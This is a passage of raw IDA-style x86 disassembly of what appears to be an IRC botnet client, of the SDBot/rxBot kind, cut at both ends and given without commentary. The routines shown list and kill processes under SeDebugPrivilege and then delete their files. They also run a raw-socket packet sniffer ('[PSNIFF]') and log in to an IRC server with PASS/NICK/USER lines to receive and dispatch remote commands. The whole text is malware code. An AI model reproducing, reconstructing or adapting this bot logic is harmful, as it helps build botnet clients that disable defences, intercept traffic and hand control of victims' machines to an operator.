		push	edi
		call	esi	; CloseHandle
		jmp	loc_408EEC
; ---------------------------------------------------------------------------


loc_408E27:				; CODE XREF: sub_408D07+C3j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jnz	loc_408EBB
		cmp	[ebp+arg_4], edi
		jz	loc_408EEC
		push	[ebp+var_124]
		push	8
		call	dword_43A38C	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_408E7B
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43A3B4	; Module32First
		test	eax, eax
		push	[ebp+var_124]
		jz	short loc_408E81
		lea	eax, [ebp+var_230]
		jmp	short loc_408E87
; ---------------------------------------------------------------------------


loc_408E7B:				; CODE XREF: sub_408D07+152j
		push	[ebp+var_124]


loc_408E81:				; CODE XREF: sub_408D07+16Aj
		lea	eax, [ebp+var_108]


loc_408E87:				; CODE XREF: sub_408D07+172j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_416905
		add	esp, 10h
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h
		jmp	loc_408E1F
; ---------------------------------------------------------------------------


loc_408EBB:				; CODE XREF: sub_408D07+125j
		lea	eax, [ebp+var_108]


loc_408EC1:				; CODE XREF: sub_408D07+1D6j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_408EE3
		test	cl, cl
		jz	short loc_408EDF
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_408EE3
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_408EC1


loc_408EDF:				; CODE XREF: sub_408D07+1C4j
		xor	eax, eax
		jmp	short loc_408EE8
; ---------------------------------------------------------------------------


loc_408EE3:				; CODE XREF: sub_408D07+1C0j
					; sub_408D07+1CEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_408EE8:				; CODE XREF: sub_408D07+1DAj
		test	eax, eax
		jz	short loc_408F1F


loc_408EEC:				; CODE XREF: sub_408D07+E9j
					; sub_408D07+101j ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43A344	; Process32Next
		test	eax, eax
		jnz	loc_408DC6
		xor	ebx, ebx


loc_408F06:				; CODE XREF: sub_408D07+9Dj
					; sub_408D07+B3j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_408F0B:				; CODE XREF: sub_408D07+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_408C9C
		pop	ecx
		pop	ecx


loc_408F18:				; CODE XREF: sub_408D07+3Aj
					; sub_408D07+46j ...
		xor	eax, eax


loc_408F1A:				; CODE XREF: sub_408D07+30Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408F1F:				; CODE XREF: sub_408D07+1E3j
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	[ebp+var_124]
		mov	edi, eax
		push	8
		call	dword_43A38C	; CreateToolhelp32Snapshot
		push	[ebp+var_4]
		mov	ebx, eax
		mov	[ebp+var_350], 224h
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4220E8	; TerminateProcess
		test	eax, eax
		jnz	short loc_408F64
		push	edi
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle
		jmp	short loc_408F18
; ---------------------------------------------------------------------------


loc_408F64:				; CODE XREF: sub_408D07+253j
		cmp	[ebp+arg_18], 0
		jz	loc_409012
		lea	eax, [ebp+var_350]
		push	eax
		push	ebx
		call	dword_43A3B4	; Module32First
		test	eax, eax
		jz	short loc_408FD7
		push	ebx
		call	esi	; CloseHandle
		xor	esi, esi


loc_408F85:				; CODE XREF: sub_408D07+2B2j
		push	7D0h
		call	dword_422000	; Sleep
		push	20h
		lea	eax, [ebp+var_230]
		push	eax
		inc	esi
		call	dword_4220CC	; SetFileAttributesA
		lea	eax, [ebp+var_230]
		push	eax
		call	dword_4220E4	; DeleteFileA
		test	eax, eax
		setnz	al
		test	al, al
		jnz	short loc_408FC9
		cmp	esi, 5
		jl	short loc_408F85
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aCouldNotDelete ; "Could	not delete '%s'.!\n"
		jmp	short loc_408FE3
; ---------------------------------------------------------------------------


loc_408FC9:				; CODE XREF: sub_408D07+2ADj
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aFileDeletedS_ ;	"[FILE]: Deleted '%s'.\n"
		jmp	short loc_408FE3
; ---------------------------------------------------------------------------


loc_408FD7:				; CODE XREF: sub_408D07+277j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aCannotExtractP ; "Cannot extract process path for %s\n"


loc_408FE3:				; CODE XREF: sub_408D07+2C0j
					; sub_408D07+2CEj
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_409012
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_409012:				; CODE XREF: sub_408D07+261j
					; sub_408D07+2EFj
		xor	eax, eax
		inc	eax
		jmp	loc_408F1A
sub_408D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40901A	proc near		; DATA XREF: sub_409806+4E34o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 298h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+74h+var_298]
		push	offset aProcListingPro ; "[PROC]: Listing processes:"
		push	eax
		call	sub_416905
		xor	esi, esi
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409072
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_405D20
		add	esp, 14h


loc_409072:				; CODE XREF: sub_40901A+3Cj
		push	esi
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_94]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_408D07
		add	esp, 1Ch
		test	eax, eax
		lea	eax, [ebp+74h+var_298]
		jnz	short loc_40909B
		push	offset aProcProcessLis ; "[PROC]: Process list completed."
		jmp	short loc_4090A0
; ---------------------------------------------------------------------------


loc_40909B:				; CODE XREF: sub_40901A+78j
		push	offset aProcProcessL_0 ; "[PROC]: Process list failed."


loc_4090A0:				; CODE XREF: sub_40901A+7Fj
		push	eax
		call	sub_416905
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4090C7
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_405D20
		add	esp, 14h


loc_4090C7:				; CODE XREF: sub_40901A+91j
		lea	eax, [ebp+74h+var_298]
		push	eax
		call	sub_401ECD
		push	[ebp+74h+var_14]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_40901A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4090E5	proc near		; CODE XREF: sub_409806+3F9Dp
					; sub_41379F+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		push	0
		push	1F0FFFh
		inc	edi
		call	dword_422078	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_409117
		push	0
		push	esi
		call	dword_4220E8	; TerminateProcess
		test	eax, eax
		jnz	short loc_409117
		push	esi
		xor	edi, edi
		call	dword_42202C	; CloseHandle


loc_409117:				; CODE XREF: sub_4090E5+1Aj
					; sub_4090E5+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4090E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40911C	proc near		; DATA XREF: sub_409806+21F6o
		push	esi
		xor	esi, esi


loc_40911F:				; CODE XREF: sub_40911C+20j
		push	esi
		push	1
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_408D07
		add	esp, 1Ch
		push	dword_42ED60
		call	dword_422000	; Sleep
		jmp	short loc_40911F
sub_40911C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40913E	proc near		; DATA XREF: sub_409806+1C6Ao

var_102B4	= byte ptr -102B4h
var_102AC	= byte ptr -102ACh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 102B4h
		lea	ebp, [esp-74h]
		call	sub_416B20
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		inc	eax
		push	25h
		pop	ecx
		mov	[ebp+74h+var_8], eax
		mov	esi, edx
		lea	edi, [ebp+74h+var_B4]
		rep movsd
		mov	[edx+90h], eax
		xor	eax, eax
		lea	edi, [ebp+74h+var_1C]
		stosd
		stosd
		stosd
		xor	esi, esi
		stosd
		push	esi
		mov	[ebp+74h+var_1C], 2
		call	dword_43A4F4	; ntohs
		push	[ebp+74h+var_B4]
		mov	[ebp+74h+var_1A], ax
		call	sub_408852
		pop	ecx
		push	eax
		call	dword_43A414	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+74h+var_18], eax
		call	dword_43A39C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+74h+var_4], edi
		jnz	short loc_409201
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+var_2B4]
		push	offset aPsniffErrorSoc ; "[PSNIFF]: Error: socket() failed, retur"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_4091E7
		push	esi
		push	[ebp+74h+var_2C]
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		push	[ebp+74h+var_B4]
		call	sub_405D20
		add	esp, 14h


loc_4091E7:				; CODE XREF: sub_40913E+8Dj
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		call	sub_401ECD
		push	[ebp+74h+var_30]
		call	sub_41397A
		pop	ecx
		jmp	loc_409422
; ---------------------------------------------------------------------------


loc_409201:				; CODE XREF: sub_40913E+6Dj
		mov	eax, [ebp+74h+var_30]
		imul	eax, 234h
		mov	dword_43B24C[eax], edi
		push	10h
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	edi
		call	dword_43A47C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40926F
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+var_2B4]
		push	offset aPsniffErrorBin ; "[PSNIFF]: Error: bind() failed, returne"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_40925C


loc_409242:				; CODE XREF: sub_40913E+170j
		push	esi
		push	[ebp+74h+var_2C]
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		push	[ebp+74h+var_B4]
		call	sub_405D20
		add	esp, 14h


loc_40925C:				; CODE XREF: sub_40913E+102j
					; sub_40913E+16Ej
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		call	sub_401ECD
		pop	ecx
		push	edi
		jmp	loc_409414
; ---------------------------------------------------------------------------


loc_40926F:				; CODE XREF: sub_40913E+E2j
		push	esi
		push	esi
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	esi
		push	esi
		push	4
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	98000001h
		push	edi
		call	dword_43A478	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4092B0
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+var_2B4]
		push	offset aPsniffErrorWsa ; "[PSNIFF]: Error: WSAIoctl() failed, ret"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_40925C
		jmp	short loc_409242
; ---------------------------------------------------------------------------


loc_4092B0:				; CODE XREF: sub_40913E+14Ej
		mov	ebx, 0FFFFh
		jmp	loc_409398
; ---------------------------------------------------------------------------


loc_4092BA:				; CODE XREF: sub_40913E+281j
		cmp	byte ptr [ebp-10237h], 6
		jnz	loc_409398
		cmp	[ebp+74h+var_10293], 18h
		mov	eax, [ebp+74h+var_102A8]
		mov	[ebp+74h+var_C], eax
		jnz	loc_409398
		lea	eax, [ebp+74h+var_1028C]
		push	offset aPsniff_0 ; "[PSNIFF]"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_409398
		mov	eax, offset dword_42F758
		xor	edi, edi
		mov	[ebp+74h+arg_0], eax


loc_409302:				; CODE XREF: sub_40913E+1DFj
		push	eax
		lea	eax, [ebp+74h+var_1028C]
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_409321
		inc	edi
		add	[ebp+74h+arg_0], 18h
		mov	eax, [ebp+74h+arg_0]
		jnz	short loc_409302
		jmp	short loc_409398
; ---------------------------------------------------------------------------


loc_409321:				; CODE XREF: sub_40913E+1D5j
		lea	eax, [ebp+74h+var_1028C]
		push	eax
		push	[ebp+74h+var_102A0]
		call	dword_43A498	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+74h+var_C]
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_42F76C[eax*8]
		push	off_42F748[eax*4]
		lea	eax, [ebp+74h+var_2B4]
		push	offset aPsniffSuspicio ; "[PSNIFF]: Suspicious %s packet from: %s"...
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 1Ch
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_40938B
		push	esi
		push	[ebp+74h+var_2C]
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		push	[ebp+74h+var_B4]
		call	sub_405D20
		add	esp, 14h


loc_40938B:				; CODE XREF: sub_40913E+231j
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_409398:				; CODE XREF: sub_40913E+177j
					; sub_40913E+183j ...
		xor	eax, eax
		lea	edi, [ebp+74h+var_102B4]
		mov	ecx, 3FFFh
		rep stosd
		stosw
		push	esi
		stosb
		push	ebx
		lea	eax, [ebp+74h+var_102B4]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_43A304	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4092BA
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	offset aPsniffErrorRec ; "[PSNIFF]: Error: recv() failed, returne"...
		lea	eax, [ebp+74h+var_2B4]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 10h
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_409404
		push	esi
		push	[ebp+74h+var_2C]
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		push	[ebp+74h+var_B4]
		call	sub_405D20
		add	esp, 14h


loc_409404:				; CODE XREF: sub_40913E+2AAj
		lea	eax, [ebp+74h+var_2B4]
		push	eax
		call	sub_401ECD
		pop	ecx
		push	[ebp+74h+var_4]


loc_409414:				; CODE XREF: sub_40913E+12Cj
		call	dword_43A4B0	; closesocket
		push	[ebp+74h+var_30]
		call	sub_41397A


loc_409422:				; CODE XREF: sub_40913E+BEj
		pop	ecx
		push	esi
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_40913E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=58h


sub_40942B	proc near		; CODE XREF: sub_4096A7+D0p

var_1E1C	= byte ptr -1E1Ch
var_E1C		= byte ptr -0E1Ch
var_64C		= byte ptr -64Ch
var_5AC		= byte ptr -5ACh
var_4AC		= byte ptr -4ACh
var_2AC		= byte ptr -2ACh
var_AC		= byte ptr -0ACh
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	eax, 1E1Ch
		lea	ebp, [esp-58h]
		call	sub_416B20
		push	ebx
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+58h+var_14], ebx
		lea	eax, [ebp+58h+var_5AC]
		pop	ecx


loc_40944A:				; CODE XREF: sub_40942B+28j
		and	byte ptr [eax],	0
		add	eax, 80h
		dec	ecx
		jnz	short loc_40944A
		cmp	byte_480ABC, 0
		jz	short loc_409473
		push	offset byte_480ABC
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+58h+arg_0]
		call	sub_405CD5
		add	esp, 0Ch


loc_409473:				; CODE XREF: sub_40942B+31j
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_2C]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_411098
		add	esp, 10h
		push	eax
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_AC]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_416905
		lea	eax, [ebp+58h+var_AC]
		add	esp, 14h
		lea	esi, [eax+1]


loc_4094A1:				; CODE XREF: sub_40942B+7Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4094A1
		push	ebx
		sub	eax, esi
		push	eax
		lea	eax, [ebp+58h+var_AC]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4094D9
		push	[ebp+58h+arg_0]
		call	dword_43A4B0	; closesocket
		push	7D0h
		call	dword_422000	; Sleep
		xor	eax, eax
		jmp	loc_4096A0
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_40942B+91j
		push	edi
		jmp	loc_409666
; ---------------------------------------------------------------------------


loc_4094DF:				; CODE XREF: sub_40942B+262j
		lea	eax, [ebp+58h+var_E1C]
		push	eax
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		call	sub_40726A
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_18], eax
		mov	[ebp+58h+var_10], ebx
		jle	loc_409666
		lea	esi, [ebp+58h+var_E1C]
		mov	[ebp+58h+var_C], esi


loc_40950B:				; CODE XREF: sub_40942B+235j
		push	offset asc_4285C8 ; " :"
		push	dword ptr [esi]
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_2AC]
		rep stosd
		call	sub_4173D0
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_4], eax
		jz	short loc_409535
		add	[ebp+58h+var_4], 2
		jmp	short loc_40953A
; ---------------------------------------------------------------------------


loc_409535:				; CODE XREF: sub_40942B+102j
		mov	eax, [esi]
		mov	[ebp+58h+var_4], eax


loc_40953A:				; CODE XREF: sub_40942B+108j
		push	1FFh
		push	[ebp+58h+var_4]
		lea	eax, [ebp+58h+var_2AC]
		push	eax
		call	sub_4169C0
		lea	eax, [ebp+58h+var_2AC]
		push	offset asc_4285C4 ; "|"
		push	eax
		call	sub_417779
		add	esp, 14h
		test	eax, eax
		mov	[ebp+58h+var_8], eax
		lea	ebx, [ebp+58h+var_2AC]
		jz	loc_40964F


loc_409573:				; CODE XREF: sub_40942B+21Ej
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_4AC]
		rep stosd
		mov	eax, [esi]
		mov	ecx, [ebp+58h+var_4]
		sub	ecx, eax
		push	ecx
		push	eax
		lea	eax, [ebp+58h+var_4AC]
		push	eax
		call	sub_4169C0
		mov	eax, [ebp+58h+var_8]
		add	esp, 0Ch
		mov	esi, eax


loc_40959F:				; CODE XREF: sub_40942B+179j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40959F
		lea	edi, [ebp+58h+var_4AC]
		sub	eax, esi
		dec	edi


loc_4095AF:				; CODE XREF: sub_40942B+18Aj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_4095AF
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+58h+var_8]
		and	ecx, 3
		rep movsb
		lea	esi, [eax+1]


loc_4095CB:				; CODE XREF: sub_40942B+1A5j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4095CB
		sub	eax, esi
		lea	ebx, [ebx+eax+1]
		push	offset asc_4285C4 ; "|"
		push	ebx
		call	sub_417779
		pop	ecx
		xor	esi, esi
		pop	ecx
		mov	[ebp+58h+var_8], eax
		inc	esi


loc_4095EB:				; CODE XREF: sub_40942B+206j
		push	[ebp+58h+arg_1C]
		lea	eax, [ebp+58h+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+58h+var_64C]
		push	eax
		lea	eax, [ebp+58h+var_5AC]
		push	eax
		push	[ebp+58h+arg_18]
		lea	eax, [ebp+58h+var_4AC]
		push	[ebp+58h+arg_C]
		push	[ebp+58h+arg_8]
		push	[ebp+58h+arg_4]
		push	[ebp+58h+arg_0]
		push	eax
		call	sub_409806
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		test	esi, esi
		jle	short loc_409633
		push	0FAh
		call	dword_422000	; Sleep
		jmp	short loc_4095EB
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_40942B+1F9j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40969C
		cmp	esi, 0FFFFFFFEh
		jz	short loc_409697
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409693
		cmp	[ebp+58h+var_8], 0
		mov	esi, [ebp+58h+var_C]
		jnz	loc_409573


loc_40964F:				; CODE XREF: sub_40942B+142j
		inc	[ebp+58h+var_10]
		mov	eax, [ebp+58h+var_10]
		add	esi, 4
		xor	ebx, ebx
		cmp	eax, [ebp+58h+var_18]
		mov	[ebp+58h+var_C], esi
		jl	loc_40950B


loc_409666:				; CODE XREF: sub_40942B+AFj
					; sub_40942B+D1j
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+58h+var_1E1C]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_43A304	; recv
		test	eax, eax
		jg	loc_4094DF


loc_409693:				; CODE XREF: sub_40942B+215j
		xor	eax, eax
		jmp	short loc_40969F
; ---------------------------------------------------------------------------


loc_409697:				; CODE XREF: sub_40942B+210j
		xor	eax, eax
		inc	eax
		jmp	short loc_40969F
; ---------------------------------------------------------------------------


loc_40969C:				; CODE XREF: sub_40942B+20Bj
		push	2
		pop	eax


loc_40969F:				; CODE XREF: sub_40942B+26Aj
					; sub_40942B+26Fj
		pop	edi


loc_4096A0:				; CODE XREF: sub_40942B+A9j
		pop	esi
		pop	ebx
		add	ebp, 58h
		leave
		retn
sub_40942B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096A7	proc near		; CODE XREF: sub_40FAD0+47Cp
					; DATA XREF: sub_409806+2F18o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	59h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		inc	ebx
		rep movsd
		mov	[eax+160h], ebx
		jmp	loc_4097A2
; ---------------------------------------------------------------------------


loc_4096D1:				; CODE XREF: sub_4096A7+129j
		push	7
		pop	ecx
		xor	eax, eax
		push	eax
		push	dword_42FCE0
		lea	edi, [ebp+var_2C]
		push	dword_42FCDC
		rep stosd
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_411098
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43B258
		push	edi
		push	eax
		call	sub_4169C0
		add	esp, 1Ch
		push	6
		push	ebx
		push	2
		call	dword_43A39C	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		mov	dword_43B24C[eax], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4097D8
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset aMainConnectedT ; "[MAIN]: Connected to %s."
		call	sub_401F41
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		push	[ebp+var_190]
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40942B
		add	esp, 28h
		push	esi
		mov	edi, eax
		call	dword_43A4B0	; closesocket
		test	edi, edi
		jz	short loc_4097A2
		cmp	edi, ebx
		jnz	short loc_40979D
		push	1D4C0h
		call	dword_422000	; Sleep
		jmp	short loc_4097A2
; ---------------------------------------------------------------------------


loc_40979D:				; CODE XREF: sub_4096A7+E7j
		cmp	edi, 2
		jz	short loc_4097F3


loc_4097A2:				; CODE XREF: sub_4096A7+25j
					; sub_4096A7+E3j ...
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40873C
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_4096D1
		jmp	short loc_4097FF
; ---------------------------------------------------------------------------


loc_4097D8:				; CODE XREF: sub_4096A7+92j
		push	esi
		call	dword_43A4B0	; closesocket
		call	sub_408765
		push	7D0h
		call	dword_422000	; Sleep
		mov	eax, ebx
		jmp	short loc_4097FF
; ---------------------------------------------------------------------------


loc_4097F3:				; CODE XREF: sub_4096A7+F9j
		push	[ebp+var_34]
		call	sub_41397A
		pop	ecx
		push	2
		pop	eax


loc_4097FF:				; CODE XREF: sub_4096A7+12Fj
					; sub_4096A7+14Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4096A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409806	proc near		; CODE XREF: sub_40942B+1ECp

var_27F0	= byte ptr -27F0h
var_23F0	= byte ptr -23F0h
var_21F0	= byte ptr -21F0h
var_1FF0	= byte ptr -1FF0h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1DEC	= byte ptr -1DECh
var_1CEC	= dword	ptr -1CECh
var_1CE8	= dword	ptr -1CE8h
var_1CE4	= byte ptr -1CE4h
var_1C64	= byte ptr -1C64h
var_1BE4	= byte ptr -1BE4h
var_1B64	= byte ptr -1B64h
var_1AE4	= byte ptr -1AE4h
var_1A64	= dword	ptr -1A64h
var_1A60	= dword	ptr -1A60h
var_1A5C	= dword	ptr -1A5Ch
var_1A58	= dword	ptr -1A58h
var_1A54	= byte ptr -1A54h
var_19D4	= byte ptr -19D4h
var_1954	= byte ptr -1954h
var_18D4	= byte ptr -18D4h
var_1854	= dword	ptr -1854h
var_1850	= dword	ptr -1850h
var_184C	= dword	ptr -184Ch
var_1848	= dword	ptr -1848h
var_1844	= dword	ptr -1844h
var_1840	= byte ptr -1840h
var_17C0	= byte ptr -17C0h
var_1740	= byte ptr -1740h
var_16C0	= dword	ptr -16C0h
var_16BC	= dword	ptr -16BCh
var_16B8	= dword	ptr -16B8h
var_16B4	= dword	ptr -16B4h
var_16B0	= byte ptr -16B0h
var_16AC	= byte ptr -16ACh
